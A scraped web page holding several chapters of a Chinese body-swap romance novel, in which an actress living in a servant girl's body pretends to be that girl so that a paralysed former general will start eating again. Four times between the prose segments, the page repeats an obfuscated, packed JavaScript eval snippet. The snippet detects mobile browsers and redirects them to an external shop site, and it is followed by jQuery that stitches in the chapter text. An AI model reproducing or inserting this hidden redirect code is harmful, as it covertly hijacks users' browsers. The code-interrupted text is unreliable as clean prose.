;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991633|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿力解释说:“这近一个月,全靠林大夫配制的猛药吊着渔儿的一口气,但实际上我们都知道,已经没有希望了,我们日日都提心吊胆,希望这口气吊的时间能再长些。可就在你醒来的那天上午,我们发现渔儿已经彻底没有了气息。当时我们很害怕,不知道该如何告诉少爷这个噩耗,但眼看人已经去了,没办法隐瞒下去,就在我准备硬着头皮跟少爷坦白的时候,渔儿竟然苏醒了!只是……她变成了你!” “原来是这样!”叶之萤终于了解了这件事的全部经过。 “少爷自生病以来,即使在最痛苦的时候,也不曾为难过身边的任何人,少爷是个宽厚明理之人,绝不是你以为的那样。这几日对你突然……性情大变,我也很是不解。但无论是何原因,确实是少爷不对在先,我并不是想替他辩解,但渔儿自杀之事绝对与少爷无关,少爷本来已经因此事深受打击,自与你吵完以后,更是饭也不吃,药也不喝,非说渔儿自杀是自己的错。更何况,你还辱骂他的身体,如今少爷这种情况,他内心已经万分痛苦,你的那些话,句句都在剜他的心啊!” “我……我当时在气头上,我就是被他气晕了,才……”其实,她刚才就后悔了,这会儿听完阿力的话更是后悔,但说出去的话泼出去的水,后悔也没用啊! “但是我之前也不知道这些事啊,从我的角度来讲,我都被他那样欺负了,不可能不还口啊!”她虽然后悔,但绝不理亏。 “少爷他如今毕竟不似常人,瘫痪在床那种痛苦和煎熬,我们无法感同身受。你与少爷置气,可以气得跺脚、可以扔杯子砸墙,再不济还可以转身离开,可少爷却不行。你说的那些话,虽是宣泄不满,但很多都不是事实,若是换了旁人,早就听不下去扭头走了,可少爷只能躺在那里任由你打骂。不是我说,叶小姐,你今日的话说得实在是重了!而且少爷的胳膊都被你用拳头锤得淤青了……” “啊,青了?”叶之萤听了这话,心里难免愧疚。对一个不能动的人使用暴力,似乎……确实……过了。 阿力却话音一转:“不过这也不能全怪你。” 她听了连连点头。说到底还是温其玉挑衅在先,怪不得自己! “只怪事发突然,你也没有时机提前了解这些情况,相信少爷也能想明白,你也莫要太自责!只是,如今你既已知晓这些,日后与少爷说话还请高抬贵口,莫要再口出伤人之语!阿力先在这里谢过您了!” 叶之萤一听这话就开始疯狂摇头:“我可不想再跟他有‘日后’了!我看他也一样,他这不是打算饿死我吗?”又一本正经道,“我们俩可能是八字不合,一见面就克对方!我们之间不会再有‘日后’了,你多虑了!” 阿力却道:“那只是在气头上说的气话罢了,少爷怎么可能真的饿死你呢?我待会儿就给你送饭来。” 还是阿力这小子够意思! 看在阿力的面子上,叶之萤应了下来:“好吧,我保证,只要以后他再不过分招惹我,我都尽量不和他计较,就算忍不住和他吵架也不会再揭他伤疤了,除非……他欺人太甚!这样可以吗?” “可以可以,阿力再次向您道谢!叶小姐,我得过去照顾少爷了,等会儿李大娘给你送饭来,你莫要声张!”他食指放在嘴唇上,做了一个噤声的动作。 “谢谢你!阿力!”叶之萤被这个朴实的男孩子感动了。 阿力腼腆地笑了一下,道:“你孤身来此,也不容易!好了,我先走了!” 叶之萤望着那个不算高大的背影,眼眶一下子就湿润了。 11. 他的故事 转眼,叶之萤被关在柴房已经三天了,温其玉像是把她忘了一样,再也没有提过放她出去的事。虽然他不准她吃饭,但实际上她是一顿饿也没挨。或许是因为来这里的前两天与温其玉的相处太过疲累和惨烈,叶之萤竟然觉得这柴房里的生活倒也舒适安逸,都有些不想出去了。 吃饱了,又无所事事,脑子就容易乱想: 难道要一直被关着? 被关着也挺好,有吃有喝有住的,总比露宿街头强得多。 万一那姓温的又让自己去伺候他怎么办?岂不是又要挨累受气?还不如尽早另谋出路算了! 可是自己在这里人不生地不熟的,能另谋什么出路啊?万一出路没寻着,再被骗了,或者被卖了…… 停停停!吓得她赶紧就此打住。温其玉只是脾气坏点,在他身边虽然受气,至少人身安全还是有保证的。话说回来,平时逞逞口舌之快倒还行,真让她孤胆一身勇闯天涯还是算了吧!更何况自己现在身无分文,就是有胆走也走不了啊! “笃笃笃!笃笃笃……”由于怕温其玉听见,阿力每次过来都是很小声地敲两下门,绝对不会多敲。可这会儿敲门声虽小,却一声接一声,听上去似乎很是着急。 她赶紧跑过去开了门。阿力正不知所措地站在门口,皱紧眉头,双手来回搓着。 “你怎么了?是不是有事?”叶之萤一看他就有事。 他果然点了点头。 看他一脸为难的样子,叶之萤猜想此事可能和自己有关,莫不是那姓温的又要她去伺候?千万不要啊! “是让你为难还是让我为难?”她开门见山。 “是……”阿力欲言又止。 叶之萤的心凉了半截:“算了算了,你还是别说了吧!” 岂料,阿力却突然朝她抱拳行礼。 “这是什么意思?”她吓了一跳,愣在原地,虽然不知道阿力要说的是什么,但肯定是个大难题,否则也不至于这样,便连听也不听就一口回绝,“别……别这样,这样也没用,我不会答应的。” “不行,此事只有叶小姐可为之,阿力恳求叶小姐,一定要答应!” 叶之萤哪敢随便答应,但一想到这几日阿力待她确实不错,也不好恩将仇报,只好说:“你先说是什么事吧,我听听看再决定要不要答应。” 说着,侧身一让,示意他进来说。 “叶小姐,自打那日与你争吵之后,少爷便再也不吃东西,已经三天了,任凭我与林大夫如何相劝都不管用。方才少爷突然陷入昏迷,林大夫说,若是再不想办法劝他进食,恐怕……恐怕是……要出大事了!”阿力急得来回踱步,额头也冒出了细汗,像极了热锅上的蚂蚁。 那姓温的居然绝食求死?震惊之余,叶之萤也不免为他担心。只是,阿力和她说这些又有什么用呢?她和那人现在是仇人见面分外眼红,那人又怎么可能听她的劝?于是小声嘀咕道:“我现在要是出现在他面前,他只怕死得更快。” 阿力却连连摇头:“不会不会!你可以的!少爷现在心里最挂念的就是渔儿,你不就是渔儿吗?若是少爷知道渔儿回来了,他一定不舍得离开!” “什么意思?”叶之萤似乎有些明白他的来意了,“可我不是渔儿啊,这事他也知道的!” “我们可以跟他说真正的渔儿已经回来了啊,反正你们长得一样,少爷也分不出来!” “怎么会分不出来?”这回轮到叶之萤摇头了,“上次不就一眼被他识破了吗?你家少爷虽然身体不行,脑子可精着呢,我除了用着渔儿的身体之外,言谈举止哪一点都和她大相径庭,他肯定能看出来!这方法行不通的。” “我也知道这不是什么好办法,可这已经是目前能想到的唯一的办法了,我们总不能眼睁睁看着少爷去寻死吧?更何况,上次那是因为你没有准备,自然瞒不过去,这次我会与你提前做好准备,一定不会有问题的!” “不行不行,我做不了!你再想想别的办法吧!”叶之萤坚决不要再和那人玩“扫雷”游戏了。 岂料,阿力听她这么说,竟有强行逼迫的架势:“叶小姐,我家少爷如今一心求死,有一部分原因便是被你那日的胡话所伤,说到底,此事你也有脱不开的责任!若我家少爷真因你的恶语而亡,恐怕你往后也于心难安吧!” “你……我当时……”叶之萤被他质问得没话说,可自己那日只是发泄情绪而已,并不是真的想逼死他啊!况且…… “那是他先惹我的,他活该!你可别道德绑架我!” “阿力说这些并不是想要绑架您,只是为了能救我家少爷一命罢了!救人一命胜造七级浮屠,虽然您与少爷有过节,但即使如此,我相信您也不是真的想看他没命吧?他虽然惹您生气了,但真的罪不至死啊!”阿力望着她,眼中含泪,仿佛一名虔诚的信徒正在等待菩萨的指引。 叶之萤几乎要被他这番话说动了,或者说,她自知无法承受温其玉因自己而死这样的后果,只是,她仍旧心有顾虑:“可是,我都没见过那个渔儿,不知道她是什么性格,怎么能装得像呢?” 阿力见她态度似有松动,赶紧安慰她,以打消她的顾虑:“别担心,渔儿虽然来了有三年时间,但与少爷朝夕相处也不过这半年而已,待会儿我会给你讲讲渔儿的事情,到时候您就按我说的做,一定没问题的!” “你先别这么乐观,我问你,万一他发现我是装的,到时候又要……又要严肃处理我,怎么办?你有对策吗?” 阿力跟她保证:“叶小姐,你看少爷他那个情况,他能对你怎么样?你不气他就不错了!就算少爷要严肃处理你,那也肯定是交给我办,我自然不会让你受苦啊!还有,倘若少爷真发现了你是假的,我也会主动坦白,绝不会让你受到牵连,你放心吧!” “这可是你说的,如果他让我给他洗衣服……” “你端出门就好,我来洗!” “如果他让我清洗地龙,或者其他恶心的东西……” “绝对不会让你动的,我洗!” “他晚上每个时辰都要翻身,我实在熬不住。” “从今日起,我与你每人伺候一夜,不会让你一人照顾。” “还有一个问题,渔儿有工资吗?”再有吃有住,一直没有钱也是万万不能的。 见阿力突然停住不说话了,她以为他是不知道工资的意思,又换了几种说法:“工钱?俸禄?就是……” “有!”他点头回答,“每月三两银子。” “三两银子?有多少?”她怕自己的问题太抽象,又低下头,指着身上的衣服问,“这样的衣服,能买多少件?” “四五十件。” 似乎还可以,不算少。 听他这么说,叶之萤已经没什么可顾虑的了。这事说白了就是让她扮演渔儿,好歹自己也是个演员,既然专业对口,演好了能救人一命,还有工资挣,演砸了也有人兜底,何乐而不为? “好吧,我答应你!不管怎么说,我也不忍心看着他寻死。我保证自己尽力而为,但如果还是被他识破,你就只能另外再想别的办法了。”她先把丑话说在前头。 “阿力谢过叶女侠!”阿力竟“扑通”一下给她跪下了。 “别别别,别呀!赶快起来!”她赶紧扶他站了起来,“快给我讲讲渔儿和你们少爷的故事吧!” 原来,那温其玉竟是一位少年将军。十七岁就开始独立带兵,在西北三州征战八年,铁骑踏遍昆仑山,为邺国立下赫赫战功,令周边异族闻风丧胆。 他与李渔是在蒙州相识的,那时,他是守护一方安定的大将军,她则是跟着父母去蒙州做小生意的小姑娘,二人虽然相识多年,却并无私人交集。直到温其玉二十五岁那年,他带兵彻底击退了一直在蒙州制造乱局的阿尔钦兵,在返回京城述职的途中恰巧搭救了一位被阿尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991634|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钦兵欺负的女子,救下来才发现,那女子就是李渔。 原来,她本打算与父母回老家探亲,却在路上被一名阿尔钦兵首领看中,其父母为护她而亡,而她也差点被掳走,幸好及时被温其玉所救。 为表感激之情,李渔一定要留在温其玉身边报答他,温其玉并未答应,只是让她先随军一起回到京城,再做打算。 不料,温其玉还未回到邺国,便在路上发生了意外。他不知染了何疾,突然高烧不止。整整五日,时而昏迷,时而背痛,时而又呕吐不止,随队军医全都束手无策。更令人意外的是,当他退烧清醒后,双腿竟再也不能动了。即使当今圣上为他寻遍名医,也无力回天。 自此以后,温其玉不能再带兵征战,只能被迫辞了官职。他母亲的家族在江南经营丝绸生意,本是一方巨贾,就在他准备动身回乡之时,李渔也自告奋勇,要和他一道去江南照顾他。温其玉看出了李渔的心思,拒绝了她的好意,并将她安置在京城自己好友府中做丫鬟。 回到江南后,温其玉经过了短暂的消沉,便开始重新锻炼、学习走路,一年后,他就可以撑着拐杖慢慢地走几步了,虽然他的双腿不再像从前那样矫健有力,也再不能大步流星、健步如飞,虽然他还是会怀念战场、怀念策马扬鞭的日子,但他还是坦然接受了蹒跚学步的自己,开始学做生意,慢慢的,生活又重新回到了正轨上。 李渔再次出现在他面前是九个月前,那次,她孤身一人从京城赶去江南寻他,对他大胆表白,原来自从那日被他救后,她的心里便只有他了,即使一年多未见,那份思念不仅没有减轻分毫,反而愈加浓烈。因此她千里迢迢寻他而来,不为其他,只愿每日能见到他便心满意足。 “这个李渔竟然这么痴情!”叶之萤听到这里,忍不住感慨。 “是啊!可是少爷仍然不为所动,并且当时少爷有要事在身,要出一趟远门,便书信关公子——就是少爷的那位好友——尽快将李渔接回去。” “人家女孩子都这么主动了,你们家少爷竟然这么决绝!果然无情!”她摇头叹息,突然又想到了什么,“哎,对了,既然他一直都不喜欢李渔,怎么后来又对李渔爱得死去活来了呢?” “谁知那关公子人还没来,少爷就……哎,那日,少爷正在账房与众掌柜议事,突然之间,只觉双手麻痹,整个人便再也动弹不得,起初以为是劳累过度,谁知休养了两日还不见好转,反而颈部以下都变得瘫软无力,与当时双腿的痹症极为相似。夫人赶紧寻遍江南有名的大夫为少爷医治,都只说是当年的痹症复发了,却都没有医治的法子。少爷接二连三经受打击,一时难以接受,便把自己关在房中不吃不喝,任谁劝说也不行。就在那时,渔儿姑娘主动请缨照顾少爷。夫人看渔儿对少爷一往情深,也是实在没有别的办法,便同意了。我们本没抱太大希望,可不知她用了什么法子,少爷竟真的听了她的话,还越来越依赖她。又过了两个月,夫人听闻这边陲小城有一神医可治疗痹症,便想送少爷来此医治。少爷本因出行困难,不愿前来,但江南气候潮湿,冬天阴冷,少爷如今的身体已承受不住,而这里又是四季如春,气候适宜,因此也不得不妥协,我和渔儿便一路上照顾着少爷一道前来。到如今,定居在此已有半年。” “你们少爷还真是命途多舛啊!”听完温其玉的经历,叶之萤对自己那日激烈的言辞又多了一分后悔。 阿力也跟着叹起了气,这样悲惨的人生,谁又能不叹气呢? “那你给我讲讲李渔平时和你们少爷都是怎么相处的呗!” “他们的相处模式很简单,渔儿性格特别温柔,从来不发脾气,对少爷更是千依百顺,少爷说什么就是什么……” 这下惨了,叶之萤心道,自己和李渔的性格不能说是大相径庭,只能说是毫不相干…… 不过自己好歹个演员,演戏而已。 “好吧,那我们这就过去吧!” 12. 再演李渔 温其玉安静地躺在那张床上,看起来比前几日又消瘦了一些,眼皮无力地闭着,虚弱得好像没了气息一样。叶之萤始终谨慎地跟在阿力身后,直到被阿力眼神示意后,才被迫走到床前。 糟糕!忘了问阿力,渔儿平时是怎么称呼温其玉的! 温其玉却好巧不巧在这时睁开了眼,一看到她,眉心的皮肤就扯了一下。 她只好硬着头皮叫了一声:“少爷。” 床上的人那双原本迷离的双眼像是被什么刺激到了似的突然泛起了光。 “你……是谁?”他几乎是只动了嘴型,短短三天,他已经虚弱到连出声的气力都没有了。 “我是渔儿啊!”叶之萤见他这样可怜,更是后悔了。虽说他是自找的,可正如阿力所说,确实罪不至死。如果自己假装李渔能让他有个念想,重新振作起来,也算是为自己那日口出恶语将功补过了吧! 谁知,温其玉却苦笑一下,道:“你是那位叶小姐吧!” 叶之萤对他的反应早有准备,坐在床边握住他的右手,用指腹轻捻着他的食指,跟他解释起来:“少爷,我刚刚听阿力说了,有位姓叶的姑娘前几日来到了我身体里,巧合的是,我也去到了她的身体。没想到,这大千世界,竟有如此荒唐之事。这几日渔儿心急如焚,无时无刻不在思念少爷,一直向菩萨拜求,希望能将我早日送回少爷身边,许是菩萨听到了我的祈祷,真的将我送了回来!少爷,我真的是渔儿!我回来了!” 这个动作是阿力告诉她的,他也是在无意间发现,渔儿会在四下无人时对温其玉做这个动作。 温其玉的神色果然一变,他努力端详着她的脸,脸上的肌肉都在使劲,似乎是想要抬头好将她看得更清楚,但即使用尽了力气,脑袋都始终安稳地枕在枕头上,纹丝不动。他实在太虚弱了。 叶之萤急忙低下头靠近他,让他能够好好看清楚。 “我这才不在几日,少爷怎么会变成这样?”说话间,她的声音已经开始哽咽,脸上也有一颗热泪滚下,正好落在他的脸颊。 “你真的是渔儿?”他的右手食指还被她捏着,此时,那根指头好像在她的指尖轻轻颤了一下。 她把他的手捏得更紧了:“真的是渔儿!我不在你身边,你怎么变得这么不乖!你这样不爱惜自己的身体,渔儿会心疼的!” 她的眼泪像断了线似的一颗接一颗顺着脸颊往下滚,旁边的阿力见此情形,也忍不住抹起了泪。 “渔儿,你……别……哭,别……”床上的人一着急,气跟不上,更说不出话了。 叶之萤看他一口气没上来,似乎就要背过去了,心想是不是演过了?赶紧收住情绪不敢再哭,抹了一把眼泪,道:“好,听少爷的话,我不哭了,那我喂你吃药,好吗?” 一番铺垫后,终于说到了重点。 “好!”他的表情是那么平和温柔,是叶之萤那两日从未在他的脸上见过的表情。 阿力还告诉她,李渔喂药时,通常会让温其玉靠在自己怀里。于是她也照做。只是,这人实在太重,哪怕已经皮包骨了,李渔的瘦弱身板也无力招架,很快她就被压得呲牙咧嘴,半边身子都要抽筋了…… 这李渔真够狠的!为了占便宜还真是无所不用其极! “渔儿,扶我靠在床头吧。”正想着,怀中的人开了口。 还算他有点良心! “可能是这几日发生的事情太多,不免有些疲累。”她怕他起疑,赶紧解释,又跟阿力一起配合着,这才喂他吃完了饭。 饭后,温其玉的精神恢复了些,叶之萤发现他似乎有话想问她,却几度欲言又止。 她已经猜到他想问什么,便静静地等着,最终,他什么也没说。 “少爷,你是不是想问我为何会自杀?”她替他说出了想问的话。 似乎是不敢面对她的回答,他选择垂下了眼睑。 “我并不是想要自杀。”她刚说完这句话,对面的人就又抬起了眼睑。 “少爷,你平日里对我这么好,好端端的我又怎么会自杀呢?那日我只是误食了鼠药,才……” “误食鼠药?”阿力假装吃惊地配合她。这是二人早已提前商量好的说辞。 “那日我去厨房端饭,觉得口渴,看到案板上有一碗水,没多想就喝了,没想到,那里面竟然有鼠药!” 阿力立马变了脸色,还别说,他的演技比叶之萤想得自然许多。 “原来是这样!那鼠药是我投的,李大娘说厨房里有老鼠,我便准备了些饭菜和水,投了鼠药放在那里给老鼠吃,没想到……少爷,都是阿力的错!害得渔儿姑娘差点没了命!您罚我吧!”说完,阿力直接跪倒在地,等待领罚。 温其玉将头有些艰难地转向他,盯着他看了许久。 屋子里安静的只有三个人此起彼伏的呼吸声,叶之萤和阿力煎熬地等着,却始终不见温其玉开口,他只是定定地看着阿力的眼睛,也看不出来在想什么,却压迫感十足。 阿力垂下眼去,心虚地躲开了他的目光。 叶之萤越来越着急,一方面怕阿力受罚,再没人帮自己,一方面又怕阿力抵抗不住温其玉的压迫,暴露了真相。 “少爷,这事也不能怪阿力。是我自己不小心,那水喝着是有异味的,只怪我当时大意了。更何况,我已经安然无恙地回来了,就别责罚阿力了吧!”她选择了主动打破沉默。 温其玉的目光又转向她,似乎是想要判断一些事情,她心里其实紧张得不行,可眼睛却不敢露怯,生怕被他看出破绽。 人在心虚的时候,最怕安静的氛围。见温其玉一直不语,叶之萤握住他的手,再度主动开口:“少爷,发生这样的事情,阿力心里肯定很自责,我不怪他,您也别怪他了,好吗?” 他的表情终于放松下来,轻轻地朝她点头,又对阿力说:“罢了,既然渔儿无事,便不重罚你了。” 叶之萤心里提着的那口气终于缓缓吐出。总算骗过去了! 面前的人又叮嘱阿力:“以后定要留心,莫要再犯这等大错!这几日夜里你留下,让渔儿好好休养,将身子养好。还有,一会儿请林大夫再来为渔儿看看。” “是!少爷放心,我定照顾好渔儿妹妹!”阿力也长吁一口气,又对叶之萤说,“感谢渔儿妹妹大人不记小人过!” 而叶之萤一听夜里不用再起夜给他翻身,激动得差点拍手叫好。只是……阿力若是睡在这里,那自己要睡哪儿去呢? 正想着,温其玉便开口道:“渔儿,你的房间这些日子一直空着,你又不愿让旁人进入,如今让阿力跟着你去打扫打扫,可好?正好看看还要准备什么物件不要?” 他的语气温柔得简直让叶之萤心生嫉妒!这哪里还是前几日在她面前作天作地的神经病?果然应了那句话,他不是不会温柔,只是懒得对你温柔…… 说来也好笑,没想到她叶之萤一个星光耀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991635|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼的大明星,想要别人对自己好竟然还要沾这么个其貌不扬的黄毛丫头的光…… 她站起身向阿力使了个眼色,便和阿力一起到李渔的房间去了。 原来李渔的房间就在温其玉房间的隔壁,出门右转的第一间。 这个房间大约有温其玉房间的一半大,推开门斜对面摆了一张床,床头和左边的墙中间立着一个衣柜,衣柜对面的窗户下面放着一个斗柜、一把木椅和一个梳妆台,梳妆台上放着一个铜镜和一把木梳。床与斗柜中间则摆着一张餐桌和两把圆木椅。 “居然骗我说她没有自己的房间,实在可恶!”叶之萤恨得咬牙切齿。 阿力替自家少爷开脱:“少爷那是对渔儿失而复得,怕你再离开他。” “你这话说的,这次不也是失而复得吗?他这次怎么不怕我离开了?” “因为这次是真的渔儿回来了啊!真的渔儿是不会离开少爷的,少爷自然不怕你再离开!”阿力捂着嘴,压低声音说。 “怎么不会离开?不是都自杀了吗?”叶之萤脱口而出。 “这……”阿力被怼得无话可说。 “那她会不会不是自杀?”叶之萤突发奇想。 阿力却否认了这种猜想:“渔儿刚出事那会儿,少爷已经命人仔细查过了,渔儿那阵子未接触过旁人,院中的人也都排除了嫌疑,所以不会是谋杀。” “难道是抑郁症,一时想不开?”也不是没有这个可能。 “什么证?”阿力一脸茫然。 “没什么。”叶之萤心想跟他说也说不明白,便把话题又扭了回来,“那个,我上次要走,你家少爷怎么也不拦着啊?要是我没自己回来……” 阿力打断了她:“要是你没自己回来,你以为少爷会让你带着渔儿的身体走?” …… 亏她还天真地以为自己那日是可以离开的!原来温其玉根本没打算让她走。 “你也别怪少爷,就算让你走,你一个人又能去哪儿呢?”阿力如是说。 是啊,能去哪儿呢?就别迁怒于温其玉了,要是没有他,自己更无处可去了,说到底,还是自己能力不够,才由不得自己做自己的主。她随手拉开梳妆台上的抽屉,拿起一把钥匙在手上把玩起来。 “既来之则安之,少爷已经相信你是渔儿了,定会好好善待你的,这次能让少爷回心转意,阿力再次谢谢你!” “那就用实际行动感谢我吧,最近的晚上,就辛苦你了!”她笑着拍了拍他的肩膀。 “没事,我都习惯了!”阿力冲她憨厚一笑。 “习惯了?以前不都是李渔做的吗?” “以前是我和渔儿轮换,每人一晚。毕竟每个时辰都要起来,总是一个人,身体怎么吃得消呢?”阿力这才说了实话。 “啪!”叶之萤把手里的钥匙一掌拍在了桌上,“所以那天他说让我每晚都给他翻身,还告诉我李渔也是这样做的,其实也是在骗我?” 阿力急忙将双手抬至胸前,做着向下按压的动作:“叶小姐,息怒息怒!” 叶之萤翻了个白眼,道:“算了!我不跟他这种人一般见识!这个房间的卫生就交给你了,我去照顾他。” 阿力还不放心,赶紧拦住她:“叶小姐,千万别跟少爷置气!” “知道了!”叶之萤不耐烦地推开他的手,又迅速换上一副乖巧的笑容给他看。变脸速度之快令阿力瞠目结舌,这才放心让她离开。 13. 游走在露馅的边缘 “渔儿,为何这么快就过来?”温其玉看她进门,又往门外瞥了一眼,发现阿力没跟着,又道,“你这几日亦受累了,不用急着过来,听话,去回房休养些时日。” “阿力说我身体还没恢复,非要帮我打扫屋子。我没什么事做,心里又挂念少爷,就干脆过来陪着少爷。”她搓着双手,有些拘谨地走到床边。 “他一人在你房里?”温其玉的表情看起来有些奇怪,好像阿力不应该待在李渔房里似的。 叶之萤突然想起他刚刚说的一句话,李渔不喜欢有人进她的房间!她和阿力都忘了这茬儿…… 不是吧?这才演了一天不到就又要露馅儿了吗? 眼下最重要是不能自乱阵脚。她稳住脸上的肌肉,而后微微蹙眉,说话的语气也刻意添上几分担忧:“虽然渔儿一向不喜屋里有旁人,但少爷您刚刚才醒,渔儿实在不放心您一人在屋里,与其在隔壁担心,不如早些过来看看。” “我没事。”他看起来是信了她的话。 “说话都没力气了,还说没事!”她走到床边,嘴上嗔怪着,手上却不忘替他把被子塞好。 这天,叶之萤扮演李渔异常顺利,温其玉不仅没有怀疑她,并且全然没有三日前的蛮不讲理,反而变身谦谦君子,令叶之萤大为意外。 后面的一段时间,她每天都一如往常地照顾他。她发现,当温其玉愿意与她好好相处,而不再是欺负她、强迫她时,她也并不是做不来这些事情。 温其玉的生活很简单,简单到乏味,吃饭、喝药、喝水、再吃饭、再吃药、再喝水,就这样不停循环。唯一的娱乐活动就是午饭后和晚饭后阿力为他读书的那一个时辰,其余时间都是静静地躺着,连话都很少说,时而看着房间里的某个物件发呆,时而眼巴巴的看向窗外,时而闭着双眼一动不动,不知道是不是已经睡去。 有时候叶之萤实在不忍心,真想陪他聊聊天,可一想到阿力告诉过她,李渔没读过书,平时与温其玉在一起时话并不多,为了不露馅,只好忍住不说。 可看着床上那个过于安静的人,她总是在想,他每天这样躺在床上,脑子里都在想些什么呢?他有多久没有感受过屋外温暖和煦的阳光和清新流动的空气了?他想不想走出这间屋子去外面看看?他怀念从前那些自由自在的日子吗?他又是怎么熬得过这日复一日的乏味和无聊的? 而温其玉对叶之萤,不对,是对李渔的态度同样令她意外。他对李渔似乎并没有她想象中的那种依赖。反而在他身上有一种对李渔的矛盾,一面对她温柔,一面又对她疏离。 那日睡前,她照例为他按摩身体,她见他难得没有皱眉,便笑着拉起他的手问他:“少爷,是不是很舒服?渔儿给您多按一会儿再离开!” 而他在听到她的话后却神色一变,但仅仅倏忽间,他就将那情绪稳稳地掩藏了起来,笑着说:“谢谢,你按得很好,只是天色已晚,快去歇息吧!” 叶之萤从他的语气中读出了一种客气和疏离,不仅如此,那眼中一闪而过的警觉更是让她困惑,这与阿力对她讲的二人的关系似乎有些不太一样。 而这样类似的事情不止一次的出现,难免让叶之萤提心吊胆,难道是他对她的真实身份已经有所察觉? 她赶紧找了个机会与阿力通气。 “你是说少爷对你起疑了?不会吧!”听完她的描述,阿力也紧张起来。 “我也不确定,但总感觉他对我的态度怪怪的!有时候我故意学着李渔的样子和他暧昧,他都会打断我,分明是故意和我保持距离。你说他会不会是觉察到哪里不对了?。” 阿力却依旧乐观:“我觉得不像!你想想啊,如果少爷感觉到你不是渔儿,他怎么能忍你这么久?你们之前可都……吵成那样了!” 这话也有道理,但如果不是这个原因,那又是为什么呢?叶之萤不禁心烦意乱。 阿力转了转眼珠子,想出了一种可能:“我想啊,少爷会不会是因为……因为自己的身体,才对你若即若离的?” “你是说他虽然喜欢李渔,但是又不想拖累她,所以才有了这种自相矛盾的举动?” “对!” “那他以前对李渔也是这样吗?”她还是觉得哪里不对。 “以前……”阿力仔细地回忆一番,而后就对自己刚才的猜测不自信了,“李渔的温顺柔和,少爷一向受用,印象中似乎没有拒绝过她。” “就是嘛!以前都没自卑,不可能突然自……” 叶之萤的话陡然停住。 那日和温其玉大吵时,自己好像说了,他是个麻烦…… 难道是因为自己的话刺激到他,所以他才变了? 她顿时有些心虚,又不想让阿力看出自己的心虚,便搪塞道:“你说的对,假如他真的发现了异常,肯定会拆穿我的,也不会让我继续待在他身边,更别说这么温柔地对待我了!所以我肯定没有暴露!” 这话既是对阿力说的,更是对她自己洗脑的。 夜里,她继续坐在床边为温其玉按摩双臂。眼看他闭着眼睛,将头侧向床边的自己,皱着眉头,像是在仔细地嗅着什么。 莫非是自己身上有异味?不应该啊!昨天才泡的澡。她赶紧低头闻闻自己。 没有味道啊! 犹记得当初照顾他那两日,他也多次有过类似的举动。他到底在闻什么? “少爷,您在做什么?”她索性问他。 如今,“少爷”这两个字她是张口就叫,一点儿也没有当初的别扭劲儿了。 “你可是更换了熏衣香料?”他睁开眼睛问她。 糟糕!难道李渔之前一直有用香料的习惯?万一他问起为何她最近不用了,或者要求她继续用之前的香料,要怎么回答呢? 她大脑飞速回忆,这几日好像并没有在李渔房里发现有类似香薰的东西,衣柜里也并没有见到香料,由此判断,李渔应该是不用这些东西的!但保险起见,今晚回房后还是得好好找找才行。 “没有啊!”她心虚地回答,并在心里默默祈祷他不要再追问下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991636|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他似乎是不甘心,又努力地嗅了几下,终于不情愿地放弃。 直到她为他翻好身,准备回房时,他又突然开口说:“渔儿,你好像忘了一件事。” 叶之萤心里又是一慌,难道又有什么自己不知道的秘密?难道是…… Kiss?!这李渔看上去像根蔫黄瓜似的,实际竟如此豪放吗?果然人不可貌相! “少爷指的是……?”不过还是要确认一下。 眼看温其玉的眼中闪过一丝狐疑,她的心立马提到了嗓子眼,但仅一刹间,他的目光又重回安宁:“安神水,以往每晚睡前你都会喂我喝一小杯,为何最近不喂了?” 安神水?虽然不知道那是什么水,但还好只是这个!她还能随机应变对付过去。白紧张一场! 自打假扮李渔开始,叶之萤每天的心情就像玩没有规律的扫雷似的,反复游走在“绷起神经——松一口气——再绷起神经——死里逃生——又绷起神经……”这样的循环中,根本不知道对方按下的哪个键会触发爆炸机关…… 